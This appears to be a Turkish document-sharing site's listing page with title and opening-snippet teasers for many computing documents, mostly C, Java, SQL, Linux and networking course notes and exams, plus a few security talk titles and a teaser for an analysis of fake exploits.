BASİT C PROGRAMLARI Öğr.Gör.Dr. Mahmut YALÇIN BASİT C PROGRAMLARI Öğr.Gör.Dr. Mahmut YALÇIN Basit C Programları: Bir Metni Yazdırmak #include /* program çalışmaya main fonksiyonundan başlar*/ int main() { printf( "C diline hoşgeldiniz!\n"

Detaylı

ELN1002 BİLGİSAYAR PROGRAMLAMA 2

ELN1002 BİLGİSAYAR PROGRAMLAMA 2 ELN1002 BİLGİSAYAR PROGRAMLAMA 2 DOSYALAMA Sunu Planı Veri Hiyerarşisi Dosyalar ve Akımlar(streams) Sıralı Erişim (Sequential Access) dosyalarının oluşturulması Sıralı Erişim Dosyalarından Veri Okuma Rasgele

Detaylı

ELN1001 BİLGİSAYAR PROGRAMLAMA I

ELN1001 BİLGİSAYAR PROGRAMLAMA I ELN1001 BİLGİSAYAR PROGRAMLAMA I DİNAMİK BELLEK YÖNETİMİ TEMEL G/Ç FONKSİYONLARI Dinamik Bellek Tahsisi Tanımlanmış olan dizilere eleman sayısı ve elemanlarının tiplerine göre, sistem belleğinde bir yer

Detaylı

05 - Veritabanı Sızma Testleri

05 - Veritabanı Sızma Testleri BGM 531 - Sızma Testleri ve Güvenlik Denetlemeleri Bilgi Güvenliği Mühendisliği Yüksek Lisans Programı Dr. Ferhat Özgür Çatak ozgur.catak@tubitak.gov.tr İstanbul Şehir Üniversitesi 2018 - Güz İçindekiler

Detaylı

Yrd. Doç. Dr. A. Burak İNNER

Yrd. Doç. Dr. A. Burak İNNER Yrd. Doç. Dr. A. Burak İNNER Kocaeli Üniversitesi Bilgisayar Mühendisliği Yapay Zeka ve Benzetim Sistemleri Ar-Ge Lab. http://yapbenzet.kocaeli.edu.tr Unix başlangıçta birden fazla kullanıcıyla çalışmak

Detaylı

Komut Penceresi ile Çalışmaya Başlamak

Komut Penceresi ile Çalışmaya Başlamak Komut Penceresi ile Çalışmaya Başlamak Gökhan SELAMET Terminal Penceresi / CLI Nasıl Açılır Standart Olarak Bilgisayar Adı Bulunduğu Dizin Kullanıcı Yetki Klasör Sistemi Terminalde çalışırken üç önemli

Detaylı

Yrd. Doç. Dr. Caner ÖZCAN

Yrd. Doç. Dr. Caner ÖZCAN Yrd. Doç. Dr. Caner ÖZCAN GİRİŞ Değişken ve dizilerde tutulan değerler programın çalışması esnasında değerlerini korurlarken programın çalışması sona erdiğinde veri kaybolur. Dosyalar verinin kalıcı olarak

Detaylı

BLM-112 PROGRAMLAMA DİLLERİ II. Ders-8 Dosya İşlemleri-1. Yrd. Doç. Dr. Ümit ATİLA

BLM-112 PROGRAMLAMA DİLLERİ II. Ders-8 Dosya İşlemleri-1. Yrd. Doç. Dr. Ümit ATİLA BLM-112 PROGRAMLAMA DİLLERİ II Ders-8 Dosya İşlemleri-1 Yrd. Doç. Dr. Ümit ATİLA umitatila@karabuk.edu.tr http://web.karabuk.edu.tr/umitatilla/ Giriş Değişken ve dizilerde tutulan değerler programın çalışması

Detaylı

Sistem Programlama. (*)Dersimizin amaçları Kullanılan programlama dili: C. Giriş/Cıkış( I/O) Sürücülerinin programlaması

Sistem Programlama. (*)Dersimizin amaçları Kullanılan programlama dili: C. Giriş/Cıkış( I/O) Sürücülerinin programlaması Sistem Programlama Sistem programlama bilgisayar mühendisliğinin bir alanı olup karmaşık sistemlerin ve bu sistemlerin parçalarının ile ilgilenir. İşletim Sistemlerinin Programlaması Giriş/Cıkış( I/O)

Detaylı

mod ile açılacak olan dosyanın ne amaçla açılacağı belirlenir. Bunlar:

mod ile açılacak olan dosyanın ne amaçla açılacağı belirlenir. Bunlar: Dosyalama Çoğu programda, bazı verilerin disk üzerinde saklanmasına gerek duyulur. C programlama dilinde, disk dosyasına erişme (okuma ve yazma için) iki farklı yöntemle yapılır. Bunlar üst düzey ve alt

Detaylı

C Programlama printf() Fonksiyonu

C Programlama printf() Fonksiyonu C Programlama printf() Fonksiyonu Standart C kütüphanesinin bir parçası olan printf() C Programlama Dili'nin genel amaçlı çıktı alma fonksiyonudur. Girdi ve çıktı deyimleri gerçekte C dilinin bir parçası

Detaylı

Kurumsal Güvenlik ve Web Filtreleme

Kurumsal Güvenlik ve Web Filtreleme S a y f a 1 antikor Kurumsal Güvenlik ve Web Filtreleme SshClient, Putty v.s. S a y f a 2 S a y f a 3 Yönetici olarak AntiKor a girmek için SshClient veya Putty programı kullanılır. IP olarak kurum içinden

Detaylı

Bazı Cisco Router Modelleri: Cisco 1720 Router

Bazı Cisco Router Modelleri: Cisco 1720 Router Router,OSI modelinin 3.katmanında çalışan ve ağ protokollerini destekleyen ve ağları birbirine bağlayan cihazdır. Bir router içersinde birbirinden farklı amaçlar için dört tür bellek vardır.bunlar; ROM:

Detaylı

Sun Solaris ve RBAC ( Role Based Access Control List)

Sun Solaris ve RBAC ( Role Based Access Control List) Sun Solaris ve RBAC ( Role Based Access Control List) /*************************************************************************/ Ömer Faruk Şen * ofsen [at] enderunix [dot] org * EnderUNIX Yazılım Geliştirme

Detaylı

Kurumsal Güvenlik ve Web Filtreleme

Kurumsal Güvenlik ve Web Filtreleme S a y f a 1 antikor Kurumsal Güvenlik ve Web Filtreleme SshClient, Putty v.s. S a y f a 2 S a y f a 3 S a y f a 4 S a y f a 5 S a y f a 6 S a y f a 7 şeklini alır. Bu durumda kullanıcı yasaklı konumdadır.

Detaylı

BĠLGĠSAYAR PROGRAMLAMA II C++ Programlamaya GiriĢ http://www.cplusplus.com/doc/tutorial/ Published by Juan Soulié

BĠLGĠSAYAR PROGRAMLAMA II C++ Programlamaya GiriĢ http://www.cplusplus.com/doc/tutorial/ Published by Juan Soulié BĠLGĠSAYAR PROGRAMLAMA II C++ Programlamaya GiriĢ http://www.cplusplus.com/doc/tutorial/ Published by Juan Soulié DERSİN WEB SİTESİ: http://nucleus.istanbul.edu.tr/~bilprog2/ DeğiĢkenler ve Data Türleri

Detaylı

Strings(Karakter Dizisi)

Strings(Karakter Dizisi) Strings(Karakter Dizisi) 0 {\ /\ Suhap SAHIN Onur GÖK 1 Tanımlama ve Kullanım char ad[20]; printf("adinizi girin: "); scanf("%s", ad); printf("\nmerhaba %s\n\n", ad); 2 Tanımlama ve Kullanım char ad[20];

Detaylı

INTEGER OVERFLOW ***************************************************************/

INTEGER OVERFLOW ***************************************************************/ INTEGER OVERFLOW BELGE HAKKINDA Bu belge "GNU Free Documentation Licence" ile kaynak gösterilmek ve önceden yazarından izin alınmak kaydıyla yeniden yayınlanabilir. Bu belgedeki eksik, yanlış ya da geliştirilmesi

Detaylı

BLG4134 Görsel Programlama III. Öğr. Grv. Aybike ŞİMŞEK

BLG4134 Görsel Programlama III. Öğr. Grv. Aybike ŞİMŞEK BLG4134 Görsel Programlama III Öğr. Grv. Aybike ŞİMŞEK CV_EKLE isimli bir veritabanı oluşturun. CV isimli tabloyu aşağıdaki şekilde oluşturun. Aşağıdaki kod ile bir stored procedure oluşturun. Bunun için

Detaylı

Eln 1002 Bilgisayar Programlama II

Eln 1002 Bilgisayar Programlama II Eln 1002 Bilgisayar Programlama II C»de Dosya ğşleme : S¹ral¹ EriŞim Ne ÖĆreneceĆiz? Dosyalar ve Streamler Sequential (sıralı) erişim dosyaların yaratılması Sıralı Erişim Dosyalarından Veri Okuma Sıralı

Detaylı

#include <stdio.h> int main(void) { FILE * dosya; dosya = fopen("soru1.txt", "w"); fprintf(dosya, "Merhaba Dunya!"); fclose(dosya); return 0; }

#include <stdio.h> int main(void) { FILE * dosya; dosya = fopen(soru1.txt, w); fprintf(dosya, Merhaba Dunya!); fclose(dosya); return 0; } Ege University Electrical and Electronics Engineering Introduction to Computer Programming Laboratory Lab 12 - Text IO 1) Working Directory Create a file named Question1.txt and write Hello World! to the

Detaylı

Sınav tarihi : Süre : 60 dak. a) ABCDE b) BCDE c) ABCD d) kod hatalı e) BCD

Sınav tarihi : Süre : 60 dak. a) ABCDE b) BCDE c) ABCD d) kod hatalı e) BCD Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Yıliçi Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 13.04.2015 Süre : 60 dak. 1. Hangisi gerçek sayı değişmezi değildir?

Detaylı

Ayni sistem(host) üzerinde IPC. Ağ(network) aracılığı ile IPC

Ayni sistem(host) üzerinde IPC. Ağ(network) aracılığı ile IPC Ayni sistem(host) üzerinde IPC Prosesler Host P 1 P 2 P 3 IPC mekanizması OS kernel Ağ(network) aracılığı ile IPC Host A Host B Host C P 1 P 2 P 3 Ağ(Network) 1 Temel TCP/IP protokolleri OSI katmanları(layers)

Detaylı

Hafta 12 Karakter Tutan Diziler

Hafta 12 Karakter Tutan Diziler BLM111 Programlama Dilleri I Hafta 12 Karakter Tutan Diziler Yrd. Doç. Dr. Caner ÖZCAN Katar (String) Tanımlama Dizileri ve çok boyutlu dizileri gördük. Katar dediğimiz şey de aslında bir dizidir. Değişken

Detaylı

Her Yönüyle SQL Enjeksiyonu. OWASP-Türkiye Bünyamin Demir

Her Yönüyle SQL Enjeksiyonu. OWASP-Türkiye Bünyamin Demir Her Yönüyle SQL Enjeksiyonu OWASP-Türkiye Bünyamin Demir Bünyamin Demir ( @bunyamindemir ) OWASP Türkiye Bölüm Lideri Founder & CTO @ Enforsec Ltd. Sızma Testleri Uzmanı Web, Mobil, Network, SCADA, Wireless,

Detaylı

Java da İşleçler, Ders #3 (4 Kasım 2009)

Java da İşleçler, Ders #3 (4 Kasım 2009) Java da İşleçler, Kontrol Akış ve Döngü Deyimleri BS-515 Nesneye Yönelik Programlama Ders #3 (4 Kasım 2009) İçerikç Geçen ders: Nesne ve Sınıf Kavramları Nesne ve Sınıf ın Java da gerçekleştirilmesi Bu

Detaylı

WEB UYGULAMA GÜVENLİĞİ HAKKINDA. Mesut Güngör İzmir Yüksek Teknoloji Enstitüsü Bilgi İşlem Daire Başkanlığı

WEB UYGULAMA GÜVENLİĞİ HAKKINDA. Mesut Güngör İzmir Yüksek Teknoloji Enstitüsü Bilgi İşlem Daire Başkanlığı WEB UYGULAMA GÜVENLİĞİ HAKKINDA Mesut Güngör İzmir Yüksek Teknoloji Enstitüsü Bilgi İşlem Daire Başkanlığı İçindekiler Bilinen en popüler web uygulama atakları Güvenli yazılım geliştirme Prosedürler Bilinen

Detaylı

BLM401 Mobil Cihazlar için ANDROİD İşletim Sistemi GÜVENLİK VE İZİNLER. BLM401 Dr.Refik SAMET

BLM401 Mobil Cihazlar için ANDROİD İşletim Sistemi GÜVENLİK VE İZİNLER. BLM401 Dr.Refik SAMET BLM401 Mobil Cihazlar için ANDROİD İşletim Sistemi GÜVENLİK VE İZİNLER BLM401 Dr.Refik SAMET 1 GİRİŞ (1/3) Güvenlik, verilerin veya bilgilerin saklanması, kullanılması ve taşınması esnasında bilgilerin

Detaylı

İçerik. Java da İşleçler, İşleçler. Aritmetik İşleçler - 1. Aritmetik İşleçler - 2. Geçen ders: Bu ders: BS-515 Nesneye Yönelik Programlama

İçerik. Java da İşleçler, İşleçler. Aritmetik İşleçler - 1. Aritmetik İşleçler - 2. Geçen ders: Bu ders: BS-515 Nesneye Yönelik Programlama İçerik Java da İşleçler, Kontrol Akış ve Döngü Deyimleri Geçen ders: Nesne ve Sınıf Kavramları Nesne ve Sınıf ın Java da gerçekleştirilmesi Bu ders: Java da işleçler ( operators ) Java da kontrol-akış

Detaylı

VERİ TABANI ve YÖNETİMİ

VERİ TABANI ve YÖNETİMİ VERİ TABANI ve YÖNETİMİ Maltepe Üniversitesi Bilgisayar Mühendisliği Bölümü 2 BÖLÜM -10- FONKSİYONLAR 3 Giriş Geçen haftaki derslerimizde Görünümleri (View) ve Stored Procedure (SP) leri öğrendik. Bu hafta

Detaylı

DOSYA İŞLEMLERİ Programlama dilleri hafta -

DOSYA İŞLEMLERİ Programlama dilleri hafta - BİLECİK ŞEYH EDEBALİ ÜNİVERSİTESİ MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ BÖLÜMÜ DOSYA İŞLEMLERİ Programlama dilleri 1-10. hafta - Araş. Gör. Nesibe YALÇIN Dosya İşlemleri Programın çalışma esnasında

Detaylı

Bilgisayar Ağları ve Ağ Güvenliği DR. ÖĞR. ÜYESİ KENAN GENÇOL HİTİT ÜNİVERSİTESİ ELEKTRİK-ELEKTRONİK MÜH.

Bilgisayar Ağları ve Ağ Güvenliği DR. ÖĞR. ÜYESİ KENAN GENÇOL HİTİT ÜNİVERSİTESİ ELEKTRİK-ELEKTRONİK MÜH. Bilgisayar Ağları ve Ağ Güvenliği DR. ÖĞR. ÜYESİ KENAN GENÇOL HİTİT ÜNİVERSİTESİ ELEKTRİK-ELEKTRONİK MÜH. TCP/IP (Transmission Control Protocol/Internet Protocol) Bilgisayarlar arasında veri haberleşmesini

Detaylı

Programlama Dilleri. C Dili. Programlama Dilleri-ders02/ 1

Programlama Dilleri. C Dili. Programlama Dilleri-ders02/ 1 Programlama Dilleri C Dili Programlama Dilleri-ders02/ 1 Değişkenler, Sabitler ve Operatörler Değişkenler (variables) bellekte bilginin saklandığı gözlere verilen simgesel isimlerdir. Sabitler (constants)

Detaylı

Seri kablo bağlantısında Windows95/98/ME'ten Windows 2000'e bağlantı Windows95/98/ME - NT4 bağlantısına çok benzer.

Seri kablo bağlantısında Windows95/98/ME'ten Windows 2000'e bağlantı Windows95/98/ME - NT4 bağlantısına çok benzer. Seri kablo bağlantısında Windows95/98/ME'ten Windows 2000'e bağlantı Windows95/98/ME NT4 bağlantısına çok benzer. Direkt Kablo desteğini Windows95/98'e yükledikten sonra, Windows95 for Direct Cable Client

Detaylı

DÖNGÜLER (LOOPS) while(), do-while(), for(), foreach()

DÖNGÜLER (LOOPS) while(), do-while(), for(), foreach() (LOOPS) while(), do-while(), for(), foreach() Döngüler (loops) while do-while for foreach while ( koşul ) işlemler; do işlemler; while (koşul ); for (başlangıç ; koşul ; arttırma) işlemler; foreach ( tip

Detaylı

C Konsol ve Komut Satırı

C Konsol ve Komut Satırı C Konsol ve Komut Satırı Öğr. Gör. M. Ozan AKI Rev 1.0 C:\> Konsol ekranı, işletim sistemi ve dosya yönetiminin metin tabanlı yönetilebilmesini sağlayan arabirimdir. Windows işletim sistemi ortaya çıkmadan

Detaylı

Sol tarafta yer alan Click here to activate your account linkini seçiniz.

Sol tarafta yer alan Click here to activate your account linkini seçiniz. Öğrenci Bilgi Sistemi (OASIS) Kayıt İşlemleri OASIS kayıt işlemlerini gerçekleştirebilmek için; öncelikle kayıt işlemleri esnasında Öğrenci İşleri tarafından verilen öğrenci numarası ve e-posta adresinin

Detaylı

Multicore/Multithread Programlama

Multicore/Multithread Programlama Multicore/Multithread Programlama Onur Tolga Şehitoğlu Bilgisayar Mühendisliği 7 Şubat 2008 Başlıklar 1 Gereksinimi Dal ile Süreç Çok İşlemci ve Dal Modelleri Neden Çoklu Dal Programlama? 2 Çok İşlemci/Çok

Detaylı

Kocaeli Üniversitesi C Bilgisayar Programlama Ara Sınavı Test Soruları

Kocaeli Üniversitesi C Bilgisayar Programlama Ara Sınavı Test Soruları Kocaeli Üniversitesi Mühendislik Fakültesi Harita Mühendisliği Bölümü ra Sınavı Test Soruları dı soyadı :... Öğrenci no :... İmza :... Tarih, Süre : 11.04.2018, 50 dak. Dikkat!!! Soru kitapçığında ve cevap

Detaylı

İşletim Sistemleri. Dr. Binnur Kurt binnur.kurt@gmail.com. Omega Eğitim ve Danışmanlık http://www.omegaegitim.com. İşletim Sistemleri

İşletim Sistemleri. Dr. Binnur Kurt binnur.kurt@gmail.com. Omega Eğitim ve Danışmanlık http://www.omegaegitim.com. İşletim Sistemleri İşletim Sistemleri Dr. Binnur Kurt binnur.kurt@gmail.com Omega Eğitim ve Danışmanlık http://www.omegaegitim.com 1 S a y f a İÇİNDEKİLER 1. İşletim Sistemi 2. Kabuk 3. Prosesler 4. İplikler 5. İplikler

Detaylı

Eln 1001 Bilgisayar Programlama I

Eln 1001 Bilgisayar Programlama I Eln 1001 Bilgisayar Programlama I GiriŞ / ǹk¹Ş Fonksiyonlar¹ Ne ÖĆreneceĆiz? Temel Giriş/Çıkış Yapısı Giriş Fonksiyonları Karakterler için giriş fonksiyonları Scanf fonksiyonu Formatlı giriş Çıkış Fonksiyonları

Detaylı

Java 2 Standart Edition SDK Kurulum ve Java ya Giriş

Java 2 Standart Edition SDK Kurulum ve Java ya Giriş Kurulum için ilk önce Sun Microsystems in sitesinden uygun J2SE sürümünü indirin. Ben J2SE v1. 4. 2_16 Windows Installer paketini kullandım J2SE SDK Kurulumu aşağıdaki gibi başlayacaktır. 1 Kurulum tamamlandıktan

Detaylı

Virtualmin'e Yeni Web Sitesi Host Etmek - Domain Eklemek

Virtualmin'e Yeni Web Sitesi Host Etmek - Domain Eklemek Yeni bir web sitesi tanımlamak, FTP ve Email ayarlarını ayarlamak için yapılması gerekenler Öncelikle Sol Menüden Create Virtual Server(Burdaki Virtual server ifadesi sizi yanıltmasın Reseller gibi düşünün

Detaylı

Ders Tanıtım Sunumu 08225 AĞ TEMELLERİ. Elbistan Meslek Yüksek Okulu 2012 2013 GÜZ Yarıyılı. 02 EKi. 2012 Salı. Öğr. Gör.

Ders Tanıtım Sunumu 08225 AĞ TEMELLERİ. Elbistan Meslek Yüksek Okulu 2012 2013 GÜZ Yarıyılı. 02 EKi. 2012 Salı. Öğr. Gör. Ders Tanıtım Sunumu 08225 AĞ TEMELLERİ Elbistan Meslek Yüksek Okulu 2012 2013 GÜZ Yarıyılı 02 EKi. 2012 Salı Öğr. Gör. Murat KEÇECİOĞLU Dersin Adı Ders Tanıtım Bilgileri Ağ Temelleri Ders Kodu 08225 Yarıyıl

Detaylı

Adım Adım C-II. Eksik kalmış konular

Adım Adım C-II. Eksik kalmış konular Adım Adım C-II Eksik kalmış konular Bu dersin amacı Bu derste; değişkenler, sabitler ve operatörler ile fonksiyonlar konusunun detayları anlatılacaktır. Ders bitiminde; Daha etkin programlar yazma becerisinin

Detaylı

KISIM I: HACKING B R ALAN OLARAK GÜVENL K

KISIM I: HACKING B R ALAN OLARAK GÜVENL K HACKING-icindekiler 5/20/10 12:06 AM Page vii Ç NDEK LER KISIM I: HACKING B R ALAN OLARAK GÜVENL K 3 TEHL KEN N FARKINDA MISINIZ? 5 HACKER, CRACKER vb. KAVRAMLARI 7 TAR HSEL SÜREÇ: HACKING 11 TC YASALARINDA

Detaylı

ASP.NET CLASS KULLANARAK VERİTABANI İŞLEMLERİ

ASP.NET CLASS KULLANARAK VERİTABANI İŞLEMLERİ ASP.NET CLASS KULLANARAK VERİTABANI İŞLEMLERİ Asp.NET mimarisinin temelini oluşturan CLASS yapısını kullanarak veri tabanı işlemlerini nasıl daha az kodla ve daha stabil yapabiliriz bunu göreceğiz. Mevzu

Detaylı

Squid i Follow X-Forwarded-For headers Yaması İle Patchlemek

Squid i Follow X-Forwarded-For headers Yaması İle Patchlemek /******************************************************** * Gökhan ALKAN * gokhan [at] enderunix [dot] org * EnderUNIX Yazılım Gelistirme Takımı * http://www.enderunix.org * * Sürüm : 1.0 * Tarih : 27.06.2006

Detaylı

TESİ. indeks. söylenebilir?? bir ilişkidir d) Hiçbiri. veya somutlaştırılmış. düzeyidir? sağlayabilir? sına. d) Hepsi. olabilir? c) Verilerin d) Hepsi

TESİ. indeks. söylenebilir?? bir ilişkidir d) Hiçbiri. veya somutlaştırılmış. düzeyidir? sağlayabilir? sına. d) Hepsi. olabilir? c) Verilerin d) Hepsi 1. 2. 3. 4. 5. 6. Görünüm (view) için özellikle aşağıdakilerden hangisi söylenebilir?? a) Veritabanındaki kayıtlı verileri düzenlemek, yönetmek ve elde etmek için kullanılan bir dildir b) Bir ilişkinin

Detaylı

Oracle da kullanılan veri tipleri:

Oracle da kullanılan veri tipleri: ORACLE A GİRİŞ Oracle ile SQL Server ı karşılaştıralım, 1 Oracle da veritabanı yerine kullanıcı oluşturulur. Kullanıcılar veritabanı gibi davranır. 2 Tablo oluşturma, yapısını değiştirme, silme kodları

Detaylı

2- Total de 8000 byte yer tutup 4000 karakter olarak kullanabildiğimiz tip aşağıdakilerden hangisidir?

2- Total de 8000 byte yer tutup 4000 karakter olarak kullanabildiğimiz tip aşağıdakilerden hangisidir? 1- ' select cast ('500' as nvarchar) + cast ('250' as nvarchar) sorgusunun sonucu olarak aşağıdakilerden hangisi döner? a) 750 b) 250 c) 500250 d) 500 e)250500 2- Total de 8000 byte yer tutup 4000 karakter

Detaylı

MySqlConnection connection; MySqlCommand command; MySqlDataReader reader; MySqlDataAdapter adapter; DataTable table;

MySqlConnection connection; MySqlCommand command; MySqlDataReader reader; MySqlDataAdapter adapter; DataTable table; using System; using System.Data; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows.Forms; using MySql.Data; using MySql.Data.MySqlClient; namespace arac_servisi

Detaylı

Dosya/Dizin İzinleri. Okuma (r) Yazma (w) Çalıştırma (x) Dosya içeriğini görebilir mi? (Klasörler için) dosya listesini alabilir mi?

Dosya/Dizin İzinleri. Okuma (r) Yazma (w) Çalıştırma (x) Dosya içeriğini görebilir mi? (Klasörler için) dosya listesini alabilir mi? Dosya/Dizin İzinleri Linux te temel dosya sistemi güvenliği kullanıcıların dosya ve dizinler üzerindeki erişim izinlerinin belirlenmesiyle sağlanır. Bir dosya veya dizinlere ait 3 tür izin vardır: - Dosya

Detaylı

Jval tipi. Genel veri yapılarını kullanacağımız zaman Jval den faydalanırız.önemli olanlar aşağıda mevcuttur:

Jval tipi. Genel veri yapılarını kullanacağımız zaman Jval den faydalanırız.önemli olanlar aşağıda mevcuttur: Jval tipi /blugreen/homes/plank/cs360/include/jval.h içerisinde bir Jval tipi tanımlanmıştır.büyük bir union yapısı aşağıdadır: typedef union { int i; long l; double d; void *v; char *s; char c; unsigned

Detaylı

C PROGRAMLAMA D İ L İ

C PROGRAMLAMA D İ L İ C PROGRAMLAMA DİLİ C Programlama Dilinin Temelleri C Programlama Dili'ni popüler kılan önemli nedenler aşağıda listelenmiştir: C, güçlü ve esnek bir dildir. C ile işletim sistemi veya derleyici yazabilir,

Detaylı

1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız.

1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız. 1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız. [10 puan] int param = 30; int result = 300; if (param > 45) result

Detaylı

Linux'ta Kabuk ve Kabuk Programlama

Linux'ta Kabuk ve Kabuk Programlama Linux'ta Kabuk ve Kabuk Programlama Kabuk Nedir? Kabuk, kullanıcı ile bilgisayar sistemi arasındaki bir yazılım katmanıdır. Kabuk, kullanıcının hareketlerini yorumlayıp, işletim sistemini ve uygulamaları

Detaylı

Data Programming SQL Language. Elbistan Meslek Yüksek Okulu Bahar Yarıyılı

Data Programming SQL Language. Elbistan Meslek Yüksek Okulu Bahar Yarıyılı Data Programming SQL Language Elbistan Meslek Yüksek Okulu 2015 2016 Bahar Yarıyılı Öğr.Gör. Murat KEÇECĠOĞLU 15 Mar 2016 1 SQL deyimleri veritabanları üzerinde çeşitli işlemleri yerine getirirler. Veritabanından

Detaylı

Mifare Kart Yazıcı/Okuyucu Modül (MFM-200)

Mifare Kart Yazıcı/Okuyucu Modül (MFM-200) 2012 Mifare Kart Yazıcı/Okuyucu Modül (MFM-200) İstanbul Yazılım ve Elektronik Teknolojileri 01.01.2012 MFM-200 Mifare Kart Yazıcı/Okuyucu Modül Genel Özellikler Ürün Kodu MFM-200 Protokol ISO14443A, ISO15693

Detaylı

2013-14 GÜZ YY. - MKT103 - GÖRSEL PROGRAMLAMA DERSİ - ARA SINAVI

2013-14 GÜZ YY. - MKT103 - GÖRSEL PROGRAMLAMA DERSİ - ARA SINAVI 2013-14 GÜZ YY. - MKT103 - GÖRSEL PROGRAMLAMA DERSİ - ARA SINAVI KOÜ Mekatronik Mühendisliği Bölümü/MKT-103-Görsel Programlama Dersi - Ara Sınav J-grubu Ad-Soyad:...No:... J GRUBU-süre:70dk 1.) Aşağıdaki

Detaylı

Bu tehlikeli küçük(!) sahte exploiti çalışır hale getirip, inceleyelim. honeypot@honeypot:~/fake_exploit$ gcc -o 0pen0wn 0pen0wn.c

Bu tehlikeli küçük(!) sahte exploiti çalışır hale getirip, inceleyelim. honeypot@honeypot:~/fake_exploit$ gcc -o 0pen0wn 0pen0wn.c SAHTE EXPLOITLER Kullanıcı sayısının fazla olduğu bir yerel ağda sistem bütünlüğünü tehlikeli duruma sadece kullanıcıların dikkatsizliği (ki çoğu durumda sistem yöneticileri de dalgın olabiliyor) düşürmez.

Detaylı

D-Link DSL 500G için ayarları

D-Link DSL 500G için ayarları Celotex 4016 YAZILIM 80-8080-8081 İLDVR HARDWARE YAZILIM 80-4500-4600 DVR2000 25 FPS YAZILIM 5050-5555-1999-80 EX-3004 YAZILIM 5555 DVR 8008--9808 YAZILIM 80-9000-9001-9002 TE-203 VE TE-20316 SVDVR YAZILIM

Detaylı

ACCESS PLATFORMUNDA SQL

ACCESS PLATFORMUNDA SQL ACCESS PLATFORMUNDA SQL (STRUCTURED QUERY LANGUAGE) KODLAMA ÖRNEKLERİ DISTINCT : Bir alanda birbirinin aynı kayıtlar bulunabilir. Öğrenciler tablosundaki aynı isimde öğrencilerin bulunması durumunda aynı

Detaylı

MOBİL UYGULAMA GELİŞTİRME

MOBİL UYGULAMA GELİŞTİRME MOBİL UYGULAMA GELİŞTİRME PELİN YILDIRIM FATMA BOZYİĞİT YZM 3214 Celal Bayar Üniversitesi Hasan Ferdi Turgutlu Teknoloji Fakültesi Bu Derste Veri Saklama 2 Veri Saklama Veri Saklama her appnin ihtiyaci

Detaylı

IDENTITY MANAGEMENT FOR EXTERNAL USERS

IDENTITY MANAGEMENT FOR EXTERNAL USERS 1/11 Sürüm Numarası Değişiklik Tarihi Değişikliği Yapan Erman Ulusoy Açıklama İlk Sürüm IDENTITY MANAGEMENT FOR EXTERNAL USERS You can connect EXTERNAL Identity Management System (IDM) with https://selfservice.tai.com.tr/

Detaylı

Kullanıcı ve Grupların yönetimi

Kullanıcı ve Grupların yönetimi Kullanıcı ve Grupların yönetimi Linux doğuşundan itibaren çok kullanıcılı bir işletim sistemi olmuştur. Bir çok kullanıcı aynı anda sisteme bağlanabilir vede sistemde aynı anda farklı uygulamaları çalıştırabilir.

Detaylı

NETFİLTER VE LİNUX TABANLI BİR FİREBOX TASARIMI

NETFİLTER VE LİNUX TABANLI BİR FİREBOX TASARIMI NETFİLTER VE LİNUX TABANLI BİR FİREBOX TASARIMI Gürkan KARABATAK Fırat Üni. Enformatik Bölümü gkarabatak@firat.edu.tr Yrd.Doç.Dr Hasan H.BALIK Fırat Üni. Mühendislik Fakültesi balik@firat.edu.tr ÖZET Günümüzde

Detaylı

HP Yazılım Zirvesi - İstanbul 20 May 2015 - Wyndham Grand Levent Erdem Alaşehir / Finansbank Güvenlik Olay Korelasyonunda Büyük Veri Kullanımı

HP Yazılım Zirvesi - İstanbul 20 May 2015 - Wyndham Grand Levent Erdem Alaşehir / Finansbank Güvenlik Olay Korelasyonunda Büyük Veri Kullanımı HP Yazılım Zirvesi - İstanbul 20 May 2015 - Wyndham Grand Levent Erdem Alaşehir / Finansbank Güvenlik Olay Korelasyonunda Büyük Veri Kullanımı Ajanda Mevcut Durum Vertica ile Çözüm Analiz Mevcut Durum

Detaylı

while(), do-while(), for() M.İLKUÇAR 2010 MAKU-MYO

while(), do-while(), for() M.İLKUÇAR 2010 MAKU-MYO while(), do-while(), for() Döngü (loop) : Bir koşul sağlandığı (true olduğu) sürece bir veya birden çok komutun tekrarlanması işlemidir. Java Döngüler (loops) While() do-while() for ( ) while ( koşul )

Detaylı

Bilgi Güvenliği Eğitim/Öğretimi

Bilgi Güvenliği Eğitim/Öğretimi Bilgi Güvenliği Eğitim/Öğretimi İbrahim SOĞUKPINAR Gebze Yüksek Teknoloji Enstitüsü İçerik Bilgi Güvenliği Eğitim/Öğretimi Dünyadaki Örnekler Türkiye deki Örnekler GYTE de Bilgi Güvenliği Dersi Sonuç ve

Detaylı

Giris {\} /\ Suhap SAHIN Onur GÖK

Giris {\} /\ Suhap SAHIN Onur GÖK Giris 0 \ /\ Suhap SAHIN Onur GÖK Fonksiyon C: Ana Fonksiyon(main) main() main() C: Ana Fonksiyon(main) main() main() C: Ana Fonksiyon(main) Giris? main() Çıkıs main() C: Ana Fonksiyon(main) void main()

Detaylı

Proceedings/Bildiriler Kitabı II. YAZILIM G M I. G. 20-21 September /Eylül 2013 Ankara / TURKEY 167 6. ULUSLARARASI

Proceedings/Bildiriler Kitabı II. YAZILIM G M I. G. 20-21 September /Eylül 2013 Ankara / TURKEY 167 6. ULUSLARARASI , - kadar aktif bir beraberinde ik tehditler ile kurumsal olarak i. Anahtar Terimler, tehdit modelleme Abstract Many companies run their businesses, operations, branches and businesses with other partners,

Detaylı

BMÜ-111 ALGORİTMA VE PROGRAMLAMA AKIŞ KONTROLÜ YRD. DOÇ. DR. İLHAN AYDIN

BMÜ-111 ALGORİTMA VE PROGRAMLAMA AKIŞ KONTROLÜ YRD. DOÇ. DR. İLHAN AYDIN BMÜ-111 ALGORİTMA VE PROGRAMLAMA AKIŞ KONTROLÜ YRD. DOÇ. DR. İLHAN AYDIN TEMEL AMAÇLAR Bir dairenin yarıçapını kullanıcıdan alarak dairenin alanını hesaplamak istediğimizi düşünelim. Eğer girilen değer

Detaylı

Genel Kavramlar. Bilgisayar ortamında işlenebilecek durumda bulunan kayıtlar. Birbiri ile ilişkili veriler topluluğu ve veriler arası ilişkiler

